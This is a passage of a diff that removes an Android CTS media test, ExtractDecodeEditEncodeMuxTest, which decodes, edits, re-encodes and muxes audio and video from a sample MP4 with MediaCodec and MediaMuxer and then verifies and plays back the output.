-    private String mOutputVideoMimeType;
-
-    public ExtractDecodeEditEncodeMuxTest() {
-        super(MediaStubActivity.class);
-    }
-
-    public void testExtractDecodeEditEncodeMuxQCIF() throws Throwable {
-        if(!setSize(176, 144)) return;
-        setSource("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4");
-        setCopyVideo();
-        setVideoMimeType(MediaFormat.MIMETYPE_VIDEO_AVC);
-        TestWrapper.runTest(this);
-    }
-
-    public void testExtractDecodeEditEncodeMuxQVGA() throws Throwable {
-        if(!setSize(320, 240)) return;
-        setSource("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4");
-        setCopyVideo();
-        setVideoMimeType(MediaFormat.MIMETYPE_VIDEO_AVC);
-        TestWrapper.runTest(this);
-    }
-
-    public void testExtractDecodeEditEncodeMux720p() throws Throwable {
-        if(!setSize(1280, 720)) return;
-        setSource("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4");
-        setCopyVideo();
-        setVideoMimeType(MediaFormat.MIMETYPE_VIDEO_AVC);
-        TestWrapper.runTest(this);
-    }
-
-    public void testExtractDecodeEditEncodeMux2160pHevc() throws Throwable {
-        if(!setSize(3840, 2160)) return;
-        setSource("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4");
-        setCopyVideo();
-        setVideoMimeType(MediaFormat.MIMETYPE_VIDEO_HEVC);
-        TestWrapper.runTest(this);
-    }
-
-    public void testExtractDecodeEditEncodeMuxAudio() throws Throwable {
-        if(!setSize(1280, 720)) return;
-        setSource("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4");
-        setCopyAudio();
-        setVerifyAudioFormat();
-        TestWrapper.runTest(this);
-    }
-
-    public void testExtractDecodeEditEncodeMuxAudioVideo() throws Throwable {
-        if(!setSize(1280, 720)) return;
-        setSource("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4");
-        setCopyAudio();
-        setCopyVideo();
-        setVerifyAudioFormat();
-        TestWrapper.runTest(this);
-    }
-
-    /** Wraps testExtractDecodeEditEncodeMux() */
-    private static class TestWrapper implements Runnable {
-        private Throwable mThrowable;
-        private ExtractDecodeEditEncodeMuxTest mTest;
-
-        private TestWrapper(ExtractDecodeEditEncodeMuxTest test) {
-            mTest = test;
-        }
-
-        @Override
-        public void run() {
-            try {
-                mTest.extractDecodeEditEncodeMux();
-            } catch (Throwable th) {
-                mThrowable = th;
-            }
-        }
-
-        /**
-         * Entry point.
-         */
-        public static void runTest(ExtractDecodeEditEncodeMuxTest test) throws Throwable {
-            test.setOutputFile();
-            TestWrapper wrapper = new TestWrapper(test);
-            Thread th = new Thread(wrapper, "codec test");
-            th.start();
-            th.join();
-            if (wrapper.mThrowable != null) {
-                throw wrapper.mThrowable;
-            }
-        }
-    }
-
-    /**
-     * Sets the test to copy the video stream.
-     */
-    private void setCopyVideo() {
-        mCopyVideo = true;
-    }
-
-    /**
-     * Sets the test to copy the video stream.
-     */
-    private void setCopyAudio() {
-        mCopyAudio = true;
-    }
-
-    /**
-     * Sets the test to verify the output audio format.
-     */
-    private void setVerifyAudioFormat() {
-        mVerifyAudioFormat = true;
-    }
-
-    /**
-     * Sets the desired frame size and returns whether the given resolution is
-     * supported.
-     *
-     * <p>If decoding/encoding using AVC as the codec, checks that the resolution
-     * is supported. For other codecs, always return {@code true}.
-     */
-    private boolean setSize(int width, int height) {
-        if ((width % 16) != 0 || (height % 16) != 0) {
-            Log.w(TAG, "WARNING: width or height not multiple of 16");
-        }
-        mWidth = width;
-        mHeight = height;
-
-        // TODO: remove this logic in setSize as it is now handled when configuring codecs
-        return true;
-    }
-
-    /**
-     * Sets the raw resource used as the source video.
-     */
-    private void setSource(String res) {
-        mSourceRes = res;
-    }
-
-    /**
-     * Sets the name of the output file based on the other parameters.
-     *
-     * <p>Must be called after {@link #setSize(int, int)} and {@link #setSource(String)}.
-     */
-    private void setOutputFile() {
-        StringBuilder sb = new StringBuilder();
-        sb.append(OUTPUT_FILENAME_DIR.getAbsolutePath());
-        sb.append("/cts-media-");
-        sb.append(getClass().getSimpleName());
-        assertTrue("should have called setSource() first", mSourceRes != null);
-        sb.append('-');
-        sb.append(mSourceRes);
-        if (mCopyVideo) {
-            assertTrue("should have called setSize() first", mWidth != -1);
-            assertTrue("should have called setSize() first", mHeight != -1);
-            sb.append('-');
-            sb.append("video");
-            sb.append('-');
-            sb.append(mWidth);
-            sb.append('x');
-            sb.append(mHeight);
-        }
-        if (mCopyAudio) {
-            sb.append('-');
-            sb.append("audio");
-        }
-        sb.append(".mp4");
-        mOutputFile = sb.toString();
-    }
-
-    private void setVideoMimeType(String mimeType) {
-        mOutputVideoMimeType = mimeType;
-    }
-
-    /**
-     * Tests encoding and subsequently decoding video from frames generated into a buffer.
-     * <p>
-     * We encode several frames of a video test pattern using MediaCodec, then decode the output
-     * with MediaCodec and do some simple checks.
-     */
-    private void extractDecodeEditEncodeMux() throws Exception {
-        // Exception that may be thrown during release.
-        Exception exception = null;
-
-        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-
-        // We avoid the device-specific limitations on width and height by using values
-        // that are multiples of 16, which all tested devices seem to be able to handle.
-        MediaFormat outputVideoFormat =
-                MediaFormat.createVideoFormat(mOutputVideoMimeType, mWidth, mHeight);
-
-        // Set some properties. Failing to specify some of these can cause the MediaCodec
-        // configure() call to throw an unhelpful exception.
-        outputVideoFormat.setInteger(
-                MediaFormat.KEY_COLOR_FORMAT, OUTPUT_VIDEO_COLOR_FORMAT);
-        outputVideoFormat.setInteger(MediaFormat.KEY_BIT_RATE, OUTPUT_VIDEO_BIT_RATE);
-        outputVideoFormat.setInteger(MediaFormat.KEY_FRAME_RATE, OUTPUT_VIDEO_FRAME_RATE);
-        outputVideoFormat.setInteger(
-                MediaFormat.KEY_I_FRAME_INTERVAL, OUTPUT_VIDEO_IFRAME_INTERVAL);
-        if (VERBOSE) Log.d(TAG, "video format: " + outputVideoFormat);
-
-        String videoEncoderName = mcl.findEncoderForFormat(outputVideoFormat);
-        if (videoEncoderName == null) {
-            // Don't fail CTS if they don't have an AVC codec (not here, anyway).
-            Log.e(TAG, "Unable to find an appropriate codec for " + outputVideoFormat);
-            return;
-        }
-        if (VERBOSE) Log.d(TAG, "video found codec: " + videoEncoderName);
-
-        MediaFormat outputAudioFormat =
-                MediaFormat.createAudioFormat(
-                        OUTPUT_AUDIO_MIME_TYPE, OUTPUT_AUDIO_SAMPLE_RATE_HZ,
-                        OUTPUT_AUDIO_CHANNEL_COUNT);
-        outputAudioFormat.setInteger(MediaFormat.KEY_BIT_RATE, OUTPUT_AUDIO_BIT_RATE);
-        // TODO: Bug workaround --- uncomment once fixed.
-        // outputAudioFormat.setInteger(MediaFormat.KEY_AAC_PROFILE, OUTPUT_AUDIO_AAC_PROFILE);
-
-        String audioEncoderName = mcl.findEncoderForFormat(outputAudioFormat);
-        if (audioEncoderName == null) {
-            // Don't fail CTS if they don't have an AAC codec (not here, anyway).
-            Log.e(TAG, "Unable to find an appropriate codec for " + outputAudioFormat);
-            return;
-        }
-        if (VERBOSE) Log.d(TAG, "audio found codec: " + audioEncoderName);
-
-        MediaExtractor videoExtractor = null;
-        MediaExtractor audioExtractor = null;
-        OutputSurface outputSurface = null;
-        MediaCodec videoDecoder = null;
-        MediaCodec audioDecoder = null;
-        MediaCodec videoEncoder = null;
-        MediaCodec audioEncoder = null;
-        MediaMuxer muxer = null;
-
-        InputSurface inputSurface = null;
-
-        try {
-            if (mCopyVideo) {
-                videoExtractor = createExtractor();
-                int videoInputTrack = getAndSelectVideoTrackIndex(videoExtractor);
-                assertTrue("missing video track in test video", videoInputTrack != -1);
-                MediaFormat inputFormat = videoExtractor.getTrackFormat(videoInputTrack);
-
-                // Create a MediaCodec for the desired codec, then configure it as an encoder with
-                // our desired properties. Request a Surface to use for input.
-                AtomicReference<Surface> inputSurfaceReference = new AtomicReference<Surface>();
-                videoEncoder = createVideoEncoder(
-                        videoEncoderName, outputVideoFormat, inputSurfaceReference);
-                inputSurface = new InputSurface(inputSurfaceReference.get());
-                inputSurface.makeCurrent();
-                // Create a MediaCodec for the decoder, based on the extractor's format.
-                outputSurface = new OutputSurface();
-                outputSurface.changeFragmentShader(FRAGMENT_SHADER);
-                videoDecoder = createVideoDecoder(mcl, inputFormat, outputSurface.getSurface());
-            }
-
-            if (mCopyAudio) {
-                audioExtractor = createExtractor();
-                int audioInputTrack = getAndSelectAudioTrackIndex(audioExtractor);
-                assertTrue("missing audio track in test video", audioInputTrack != -1);
-                MediaFormat inputFormat = audioExtractor.getTrackFormat(audioInputTrack);
-
-                // Create a MediaCodec for the desired codec, then configure it as an encoder with
-                // our desired properties. Request a Surface to use for input.
-                audioEncoder = createAudioEncoder(audioEncoderName, outputAudioFormat);
-                // Create a MediaCodec for the decoder, based on the extractor's format.
-                audioDecoder = createAudioDecoder(mcl, inputFormat);
-            }
-
-            // Creates a muxer but do not start or add tracks just yet.
-            muxer = createMuxer();
-
-            doExtractDecodeEditEncodeMux(
-                    videoExtractor,
-                    audioExtractor,
-                    videoDecoder,
-                    videoEncoder,
-                    audioDecoder,
-                    audioEncoder,
-                    muxer,
-                    inputSurface,
-                    outputSurface);
-        } finally {
-            if (VERBOSE) Log.d(TAG, "releasing extractor, decoder, encoder, and muxer");
-            // Try to release everything we acquired, even if one of the releases fails, in which
-            // case we save the first exception we got and re-throw at the end (unless something
-            // other exception has already been thrown). This guarantees the first exception thrown
-            // is reported as the cause of the error, everything is (attempted) to be released, and
-            // all other exceptions appear in the logs.
-            try {
-                if (videoExtractor != null) {
-                    videoExtractor.release();
-                }
-            } catch(Exception e) {
-                Log.e(TAG, "error while releasing videoExtractor", e);
-                if (exception == null) {
-                    exception = e;
-                }
-            }
-            try {
-                if (audioExtractor != null) {
-                    audioExtractor.release();
-                }
-            } catch(Exception e) {
-                Log.e(TAG, "error while releasing audioExtractor", e);
-                if (exception == null) {
-                    exception = e;
-                }
-            }
-            try {
-                if (videoDecoder != null) {
-                    videoDecoder.stop();
-                    videoDecoder.release();
-                }
-            } catch(Exception e) {
-                Log.e(TAG, "error while releasing videoDecoder", e);
-                if (exception == null) {
-                    exception = e;
-                }
-            }
-            try {
-                if (outputSurface != null) {
-                    outputSurface.release();
-                }
-            } catch(Exception e) {
-                Log.e(TAG, "error while releasing outputSurface", e);
-                if (exception == null) {
-                    exception = e;
-                }
-            }
-            try {
-                if (videoEncoder != null) {
-                    videoEncoder.stop();
-                    videoEncoder.release();
-                }
-            } catch(Exception e) {
-                Log.e(TAG, "error while releasing videoEncoder", e);
-                if (exception == null) {
-                    exception = e;
-                }
-            }
-            try {
-                if (audioDecoder != null) {
-                    audioDecoder.stop();
-                    audioDecoder.release();
-                }
-            } catch(Exception e) {
-                Log.e(TAG, "error while releasing audioDecoder", e);
-                if (exception == null) {
-                    exception = e;
-                }
-            }
-            try {
-                if (audioEncoder != null) {
-                    audioEncoder.stop();
-                    audioEncoder.release();
-                }
-            } catch(Exception e) {
-                Log.e(TAG, "error while releasing audioEncoder", e);
-                if (exception == null) {
-                    exception = e;
-                }
-            }
-            try {
-                if (muxer != null) {
-                    muxer.stop();
-                    muxer.release();
-                }
-            } catch(Exception e) {
-                Log.e(TAG, "error while releasing muxer", e);
-                if (exception == null) {
-                    exception = e;
-                }
-            }
-            try {
-                if (inputSurface != null) {
-                    inputSurface.release();
-                }
-            } catch(Exception e) {
-                Log.e(TAG, "error while releasing inputSurface", e);
-                if (exception == null) {
-                    exception = e;
-                }
-            }
-        }
-        if (exception != null) {
-            throw exception;
-        }
-
-        MediaExtractor mediaExtractor = null;
-        try {
-            mediaExtractor = new MediaExtractor();
-            mediaExtractor.setDataSource(mOutputFile);
-
-            assertEquals("incorrect number of tracks", (mCopyAudio ? 1 : 0) + (mCopyVideo ? 1 : 0),
-                    mediaExtractor.getTrackCount());
-            if (mVerifyAudioFormat) {
-                boolean foundAudio = false;
-                for (int i = 0; i < mediaExtractor.getTrackCount(); i++) {
-                    MediaFormat trackFormat = mediaExtractor.getTrackFormat(i);
-                    if (isAudioFormat(trackFormat)) {
-                        foundAudio = true;
-                        int expectedSampleRate = OUTPUT_AUDIO_SAMPLE_RATE_HZ;
-
-                        // SBR mode halves the sample rate in the format.
-                        if (OUTPUT_AUDIO_AAC_PROFILE ==
-                                MediaCodecInfo.CodecProfileLevel.AACObjectHE) {
-                            expectedSampleRate /= 2;
-                        }
-                        assertEquals("sample rates should match", expectedSampleRate,
-                                trackFormat.getInteger(MediaFormat.KEY_SAMPLE_RATE));
-                    }
-                }
-
-                assertTrue("output should have an audio track", foundAudio || !mCopyAudio);
-            }
-        } catch (IOException e) {
-            throw new IllegalStateException("exception verifying output file", e);
-        } finally {
-            if (mediaExtractor != null) {
-                mediaExtractor.release();
-            }
-        }
-
-        // TODO: Check the generated output file's video format and sample data.
-
-        MediaStubActivity activity = getActivity();
-        final MediaPlayer mp = new MediaPlayer();
-        final Exception[] exceptionHolder = { null };
-        final CountDownLatch playbackEndSignal = new CountDownLatch(1);
-        mp.setOnErrorListener(new MediaPlayer.OnErrorListener() {
-            @Override
-            public boolean onError(MediaPlayer origin, int what, int extra) {
-                exceptionHolder[0] = new RuntimeException("error playing output file: what=" + what
-                        + " extra=" + extra);
-                // Returning false would trigger onCompletion() so that
-                // playbackEndSignal.await() can stop waiting.
-                return false;
-            }
-        });
-        mp.setOnCompletionListener(new MediaPlayer.OnCompletionListener() {
-            @Override
-            public void onCompletion(MediaPlayer origin) {
-                playbackEndSignal.countDown();
-            }
-        });
-        try {
-            mp.setDataSource(mOutputFile);
-            mp.setDisplay(activity.getSurfaceHolder());
-            mp.prepare();
-            mp.start();
-            playbackEndSignal.await();
-        } catch (Exception e) {
-            exceptionHolder[0] = e;
-        } finally {
-            mp.release();
-        }
-
-        if (exceptionHolder[0] != null) {
-            throw exceptionHolder[0];
-        }
-    }
-
-    protected AssetFileDescriptor getAssetFileDescriptorFor(final String res)
-            throws FileNotFoundException {
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        File inpFile = new File(mInpPrefix + res);
-        ParcelFileDescriptor parcelFD =
-                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
-        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
-    }
-
-    /**
-     * Creates an extractor that reads its frames from {@link #mSourceRes}.
-     */
-    private MediaExtractor createExtractor() throws IOException {
-        MediaExtractor extractor;
-        AssetFileDescriptor srcFd = getAssetFileDescriptorFor(mSourceRes);
-        extractor = new MediaExtractor();
-        extractor.setDataSource(srcFd.getFileDescriptor(), srcFd.getStartOffset(),
-                srcFd.getLength());
-        return extractor;
-    }
-
-    /**
-     * Creates a decoder for the given format, which outputs to the given surface.
-     *
-     * @param inputFormat the format of the stream to decode
-     * @param surface into which to decode the frames
-     */
-    private MediaCodec createVideoDecoder(
-            MediaCodecList mcl, MediaFormat inputFormat, Surface surface) throws IOException {
-        MediaCodec decoder = MediaCodec.createByCodecName(mcl.findDecoderForFormat(inputFormat));
-        decoder.configure(inputFormat, surface, null, 0);
-        decoder.start();
-        return decoder;
-    }
-
-    /**
-     * Creates an encoder for the given format using the specified codec, taking input from a
-     * surface.
-     *
-     * <p>The surface to use as input is stored in the given reference.
-     *
-     * @param codecInfo of the codec to use
-     * @param format of the stream to be produced
-     * @param surfaceReference to store the surface to use as input
-     */
-    private MediaCodec createVideoEncoder(
-            String codecName,
-            MediaFormat format,
-            AtomicReference<Surface> surfaceReference)
-            throws IOException {
-        MediaCodec encoder = MediaCodec.createByCodecName(codecName);
-        encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
-        // Must be called before start() is.
-        surfaceReference.set(encoder.createInputSurface());
-        encoder.start();
-        return encoder;
-    }
-
-    /**
-     * Creates a decoder for the given format.
-     *
-     * @param inputFormat the format of the stream to decode
-     */
-    private MediaCodec createAudioDecoder(
-            MediaCodecList mcl, MediaFormat inputFormat) throws IOException {
-        MediaCodec decoder = MediaCodec.createByCodecName(mcl.findDecoderForFormat(inputFormat));
-        decoder.configure(inputFormat, null, null, 0);
-        decoder.start();
-        return decoder;
-    }
-
-    /**
-     * Creates an encoder for the given format using the specified codec.
-     *
-     * @param codecInfo of the codec to use
-     * @param format of the stream to be produced
-     */
-    private MediaCodec createAudioEncoder(String codecName, MediaFormat format)
-            throws IOException {
-        MediaCodec encoder = MediaCodec.createByCodecName(codecName);
-        encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
-        encoder.start();
-        return encoder;
-    }
-
-    /**
-     * Creates a muxer to write the encoded frames.
-     *
-     * <p>The muxer is not started as it needs to be started only after all streams have been added.
-     */
-    private MediaMuxer createMuxer() throws IOException {
-        return new MediaMuxer(mOutputFile, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
-    }
-
-    private int getAndSelectVideoTrackIndex(MediaExtractor extractor) {
-        for (int index = 0; index < extractor.getTrackCount(); ++index) {
-            if (VERBOSE) {
-                Log.d(TAG, "format for track " + index + " is "
-                        + getMimeTypeFor(extractor.getTrackFormat(index)));
-            }
-            if (isVideoFormat(extractor.getTrackFormat(index))) {
-                extractor.selectTrack(index);
-                return index;
-            }
-        }
-        return -1;
-    }
-
-    private int getAndSelectAudioTrackIndex(MediaExtractor extractor) {
-        for (int index = 0; index < extractor.getTrackCount(); ++index) {
-            if (VERBOSE) {
-                Log.d(TAG, "format for track " + index + " is "
-                        + getMimeTypeFor(extractor.getTrackFormat(index)));
-            }
-            if (isAudioFormat(extractor.getTrackFormat(index))) {
-                extractor.selectTrack(index);
-                return index;
-            }
-        }
-        return -1;
-    }
-
-    /**
-     * Does the actual work for extracting, decoding, encoding and muxing.
-     */
-    private void doExtractDecodeEditEncodeMux(
-            MediaExtractor videoExtractor,
-            MediaExtractor audioExtractor,
-            MediaCodec videoDecoder,
-            MediaCodec videoEncoder,
-            MediaCodec audioDecoder,
-            MediaCodec audioEncoder,
-            MediaMuxer muxer,
-            InputSurface inputSurface,
-            OutputSurface outputSurface) {
-        ByteBuffer[] videoDecoderInputBuffers = null;
-        ByteBuffer[] videoDecoderOutputBuffers = null;
-        ByteBuffer[] videoEncoderOutputBuffers = null;
-        MediaCodec.BufferInfo videoDecoderOutputBufferInfo = null;
-        MediaCodec.BufferInfo videoEncoderOutputBufferInfo = null;
-        if (mCopyVideo) {
-            videoDecoderInputBuffers = videoDecoder.getInputBuffers();
-            videoDecoderOutputBuffers = videoDecoder.getOutputBuffers();
-            videoEncoderOutputBuffers = videoEncoder.getOutputBuffers();
-            videoDecoderOutputBufferInfo = new MediaCodec.BufferInfo();
-            videoEncoderOutputBufferInfo = new MediaCodec.BufferInfo();
-        }
-        ByteBuffer[] audioDecoderInputBuffers = null;
-        ByteBuffer[] audioDecoderOutputBuffers = null;
-        ByteBuffer[] audioEncoderInputBuffers = null;
-        ByteBuffer[] audioEncoderOutputBuffers = null;
-        MediaCodec.BufferInfo audioDecoderOutputBufferInfo = null;
-        MediaCodec.BufferInfo audioEncoderOutputBufferInfo = null;
-        if (mCopyAudio) {
-            audioDecoderInputBuffers = audioDecoder.getInputBuffers();
-            audioDecoderOutputBuffers =  audioDecoder.getOutputBuffers();
-            audioEncoderInputBuffers = audioEncoder.getInputBuffers();
-            audioEncoderOutputBuffers = audioEncoder.getOutputBuffers();
-            audioDecoderOutputBufferInfo = new MediaCodec.BufferInfo();
-            audioEncoderOutputBufferInfo = new MediaCodec.BufferInfo();
-        }
-        // We will get these from the decoders when notified of a format change.
-        MediaFormat decoderOutputVideoFormat = null;
-        MediaFormat decoderOutputAudioFormat = null;
-        // We will get these from the encoders when notified of a format change.
-        MediaFormat encoderOutputVideoFormat = null;
-        MediaFormat encoderOutputAudioFormat = null;
-        // We will determine these once we have the output format.
-        int outputVideoTrack = -1;
-        int outputAudioTrack = -1;
-        // Whether things are done on the video side.
-        boolean videoExtractorDone = false;
-        boolean videoDecoderDone = false;
-        boolean videoEncoderDone = false;
-        // Whether things are done on the audio side.
-        boolean audioExtractorDone = false;
-        boolean audioDecoderDone = false;
-        boolean audioEncoderDone = false;
-        // The audio decoder output buffer to process, -1 if none.
-        int pendingAudioDecoderOutputBufferIndex = -1;
-
-        boolean muxing = false;
-
-        int videoExtractedFrameCount = 0;
-        int videoDecodedFrameCount = 0;
-        int videoEncodedFrameCount = 0;
-
-        int audioExtractedFrameCount = 0;
-        int audioDecodedFrameCount = 0;
-        int audioEncodedFrameCount = 0;
-
-        while ((mCopyVideo && !videoEncoderDone) || (mCopyAudio && !audioEncoderDone)) {
-            if (VERBOSE) {
-                Log.d(TAG, String.format(
-                        "loop: "
-
-                        + "V(%b){"
-                        + "extracted:%d(done:%b) "
-                        + "decoded:%d(done:%b) "
-                        + "encoded:%d(done:%b)} "
-
-                        + "A(%b){"
-                        + "extracted:%d(done:%b) "
-                        + "decoded:%d(done:%b) "
-                        + "encoded:%d(done:%b) "
-                        + "pending:%d} "
-
-                        + "muxing:%b(V:%d,A:%d)",
-
-                        mCopyVideo,
-                        videoExtractedFrameCount, videoExtractorDone,
-                        videoDecodedFrameCount, videoDecoderDone,
-                        videoEncodedFrameCount, videoEncoderDone,
-
-                        mCopyAudio,
-                        audioExtractedFrameCount, audioExtractorDone,
-                        audioDecodedFrameCount, audioDecoderDone,
-                        audioEncodedFrameCount, audioEncoderDone,
-                        pendingAudioDecoderOutputBufferIndex,
-
-                        muxing, outputVideoTrack, outputAudioTrack));
-            }
-
-            // Extract video from file and feed to decoder.
-            // Do not extract video if we have determined the output format but we are not yet
-            // ready to mux the frames.
-            while (mCopyVideo && !videoExtractorDone
-                    && (encoderOutputVideoFormat == null || muxing)) {
-                int decoderInputBufferIndex = videoDecoder.dequeueInputBuffer(TIMEOUT_USEC);
-                if (decoderInputBufferIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                    if (VERBOSE) Log.d(TAG, "no video decoder input buffer");
-                    break;
-                }
-                if (VERBOSE) {
-                    Log.d(TAG, "video decoder: returned input buffer: " + decoderInputBufferIndex);
-                }
-                ByteBuffer decoderInputBuffer = videoDecoderInputBuffers[decoderInputBufferIndex];
-                int size = videoExtractor.readSampleData(decoderInputBuffer, 0);
-                long presentationTime = videoExtractor.getSampleTime();
-                int flags = videoExtractor.getSampleFlags();
-                if (VERBOSE) {
-                    Log.d(TAG, "video extractor: returned buffer of size " + size);
-                    Log.d(TAG, "video extractor: returned buffer for time " + presentationTime);
-                }
-                videoExtractorDone = !videoExtractor.advance();
-                if (videoExtractorDone) {
-                    if (VERBOSE) Log.d(TAG, "video extractor: EOS");
-                    flags = flags | MediaCodec.BUFFER_FLAG_END_OF_STREAM;
-                }
-                if (size >= 0) {
-                    videoDecoder.queueInputBuffer(
-                            decoderInputBufferIndex,
-                            0,
-                            size,
-                            presentationTime,
-                            flags);
-                    videoExtractedFrameCount++;
-                }
-                // We extracted a frame, let's try something else next.
-                break;
-            }
-
-            // Extract audio from file and feed to decoder.
-            // Do not extract audio if we have determined the output format but we are not yet
-            // ready to mux the frames.
-            while (mCopyAudio && !audioExtractorDone
-                    && (encoderOutputAudioFormat == null || muxing)) {
-                int decoderInputBufferIndex = audioDecoder.dequeueInputBuffer(TIMEOUT_USEC);
-                if (decoderInputBufferIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                    if (VERBOSE) Log.d(TAG, "no audio decoder input buffer");
-                    break;
-                }
-                if (VERBOSE) {
-                    Log.d(TAG, "audio decoder: returned input buffer: " + decoderInputBufferIndex);
-                }
-                ByteBuffer decoderInputBuffer = audioDecoderInputBuffers[decoderInputBufferIndex];
-                int size = audioExtractor.readSampleData(decoderInputBuffer, 0);
-                long presentationTime = audioExtractor.getSampleTime();
-                if (VERBOSE) {
-                    Log.d(TAG, "audio extractor: returned buffer of size " + size);
-                    Log.d(TAG, "audio extractor: returned buffer for time " + presentationTime);
-                }
-                if (size >= 0) {
-                    audioDecoder.queueInputBuffer(
-                            decoderInputBufferIndex,
-                            0,
-                            size,
-                            presentationTime,
-                            audioExtractor.getSampleFlags());
-                }
-                audioExtractorDone = !audioExtractor.advance();
-                if (audioExtractorDone) {
-                    if (VERBOSE) Log.d(TAG, "audio extractor: EOS");
-                    audioDecoder.queueInputBuffer(
-                            decoderInputBufferIndex,
-                            0,
-                            0,
-                            0,
-                            MediaCodec.BUFFER_FLAG_END_OF_STREAM);
-                }
-                audioExtractedFrameCount++;
-                // We extracted a frame, let's try something else next.
-                break;
-            }
-
-            // Poll output frames from the video decoder and feed the encoder.
-            while (mCopyVideo && !videoDecoderDone
-                    && (encoderOutputVideoFormat == null || muxing)) {
-                int decoderOutputBufferIndex =
-                        videoDecoder.dequeueOutputBuffer(
-                                videoDecoderOutputBufferInfo, TIMEOUT_USEC);
-                if (decoderOutputBufferIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                    if (VERBOSE) Log.d(TAG, "no video decoder output buffer");
-                    break;
-                }
-                if (decoderOutputBufferIndex == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                    if (VERBOSE) Log.d(TAG, "video decoder: output buffers changed");
-                    videoDecoderOutputBuffers = videoDecoder.getOutputBuffers();
-                    break;
-                }
-                if (decoderOutputBufferIndex == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                    decoderOutputVideoFormat = videoDecoder.getOutputFormat();
-                    if (VERBOSE) {
-                        Log.d(TAG, "video decoder: output format changed: "
-                                + decoderOutputVideoFormat);
-                    }
-                    break;
-                }
-                if (VERBOSE) {
-                    Log.d(TAG, "video decoder: returned output buffer: "
-                            + decoderOutputBufferIndex);
-                    Log.d(TAG, "video decoder: returned buffer of size "
-                            + videoDecoderOutputBufferInfo.size);
-                }
-                ByteBuffer decoderOutputBuffer =
-                        videoDecoderOutputBuffers[decoderOutputBufferIndex];
-                if ((videoDecoderOutputBufferInfo.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG)
-                        != 0) {
-                    if (VERBOSE) Log.d(TAG, "video decoder: codec config buffer");
-                    videoDecoder.releaseOutputBuffer(decoderOutputBufferIndex, false);
-                    break;
-                }
-                if (VERBOSE) {
-                    Log.d(TAG, "video decoder: returned buffer for time "
-                            + videoDecoderOutputBufferInfo.presentationTimeUs);
-                }
-                boolean render = videoDecoderOutputBufferInfo.size != 0;
-                videoDecoder.releaseOutputBuffer(decoderOutputBufferIndex, render);
-                if (render) {
-                    if (VERBOSE) Log.d(TAG, "output surface: await new image");
-                    outputSurface.awaitNewImage();
-                    // Edit the frame and send it to the encoder.
-                    if (VERBOSE) Log.d(TAG, "output surface: draw image");
-                    outputSurface.drawImage();
-                    inputSurface.setPresentationTime(
-                            videoDecoderOutputBufferInfo.presentationTimeUs * 1000);
-                    if (VERBOSE) Log.d(TAG, "input surface: swap buffers");
-                    inputSurface.swapBuffers();
-                    if (VERBOSE) Log.d(TAG, "video encoder: notified of new frame");
-                    videoDecodedFrameCount++;
-                }
-                if ((videoDecoderOutputBufferInfo.flags
-                        & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    if (VERBOSE) Log.d(TAG, "video decoder: EOS");
-                    videoDecoderDone = true;
-                    videoEncoder.signalEndOfInputStream();
-                }
-                // We extracted a pending frame, let's try something else next.
-                break;
-            }
-
-            // Poll output frames from the audio decoder.
-            // Do not poll if we already have a pending buffer to feed to the encoder.
-            while (mCopyAudio && !audioDecoderDone && pendingAudioDecoderOutputBufferIndex == -1
-                    && (encoderOutputAudioFormat == null || muxing)) {
-                int decoderOutputBufferIndex =
-                        audioDecoder.dequeueOutputBuffer(
-                                audioDecoderOutputBufferInfo, TIMEOUT_USEC);
-                if (decoderOutputBufferIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                    if (VERBOSE) Log.d(TAG, "no audio decoder output buffer");
-                    break;
-                }
-                if (decoderOutputBufferIndex == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                    if (VERBOSE) Log.d(TAG, "audio decoder: output buffers changed");
-                    audioDecoderOutputBuffers = audioDecoder.getOutputBuffers();
-                    break;
-                }
-                if (decoderOutputBufferIndex == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                    decoderOutputAudioFormat = audioDecoder.getOutputFormat();
-                    if (VERBOSE) {
-                        Log.d(TAG, "audio decoder: output format changed: "
-                                + decoderOutputAudioFormat);
-                    }
-                    break;
-                }
-                if (VERBOSE) {
-                    Log.d(TAG, "audio decoder: returned output buffer: "
-                            + decoderOutputBufferIndex);
-                }
-                if (VERBOSE) {
-                    Log.d(TAG, "audio decoder: returned buffer of size "
-                            + audioDecoderOutputBufferInfo.size);
-                }
-                ByteBuffer decoderOutputBuffer =
-                        audioDecoderOutputBuffers[decoderOutputBufferIndex];
-                if ((audioDecoderOutputBufferInfo.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG)
-                        != 0) {
-                    if (VERBOSE) Log.d(TAG, "audio decoder: codec config buffer");
-                    audioDecoder.releaseOutputBuffer(decoderOutputBufferIndex, false);
-                    break;
-                }
-                if (VERBOSE) {
-                    Log.d(TAG, "audio decoder: returned buffer for time "
-                            + audioDecoderOutputBufferInfo.presentationTimeUs);
-                }
-                if (VERBOSE) {
-                    Log.d(TAG, "audio decoder: output buffer is now pending: "
-                            + pendingAudioDecoderOutputBufferIndex);
-                }
-                pendingAudioDecoderOutputBufferIndex = decoderOutputBufferIndex;
-                audioDecodedFrameCount++;
-                // We extracted a pending frame, let's try something else next.
-                break;
-            }
-
-            // Feed the pending decoded audio buffer to the audio encoder.
